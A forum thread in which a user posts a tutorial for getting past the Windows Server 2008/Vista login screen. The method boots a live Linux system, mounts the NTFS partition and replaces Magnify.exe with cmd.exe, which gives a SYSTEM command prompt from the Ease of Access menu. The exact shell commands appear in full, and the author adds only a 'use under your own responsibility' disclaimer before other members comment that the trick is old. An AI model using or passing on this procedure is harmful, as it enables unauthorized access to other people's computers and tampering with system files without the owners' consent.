[Bypassing Windows server 2008 / Vista password protection]

[Google]

Hello,
Just to shake this forum a little bit. This is a tutorial on how to bypass Windows server 2008 / Vista password protection.

Let's begin.
What you need is a bootable live Linux distribution that supports NTFS-3G driver (NTFS-3G is a cross platform implementation of the Windows NTFS file system that supports read/write capabilities).

//Checking the NTFS Windows partition (eg. /dev/sda1)
fdisk -l | grep NTFS

//Creating the directory where we want to mount Windows
mkdir -p /mnt/windows

//Mounting Windows
mount -t ntfs-3g /dev/sda1 /mnt/windows

//Replace Magnify.exe with cmd.exe (Magnify.exe tool can be found on the password protection screen under Ease of Access options)
cd /mnt/windows/
cd Windows/system32/
mv Magnify.exe Magnify.bck
cp cmd.exe Magnify.exe

//We restart the machine
reboot

Use this under your own responsibility.
</EOF>


Off Topic:
Website staff needed.
Anyone interested in computer security and thinks that he/she is good enough at this domain, contact me on this email: sosoblood@hotmail.com

[Sheriff Ice]

Thank You eddy

I might be interested by no time at the moment.

Thanks for your effort!

[JouJ]

bandoooo2222 zakkkkkkkkeeee
i just recently took the MCP course, this is interesting thank you for this very useful post

[ZeRaW]

eh erm isnt this a bit old?
as far as i remember we used to use the same mechanism on windows XP machines.
Actually, a few years back (5-6) there was a bootable CD where everything was automated
and it removed the admin pass altogether then rebooted.

[Google]

The technique is old? Maybe.
The funny thing is that the old technique still pwns new products! ^^
And bootable CDs exists with each version of Windows OS. But sometimes you can't use them since you don't want to change the original password.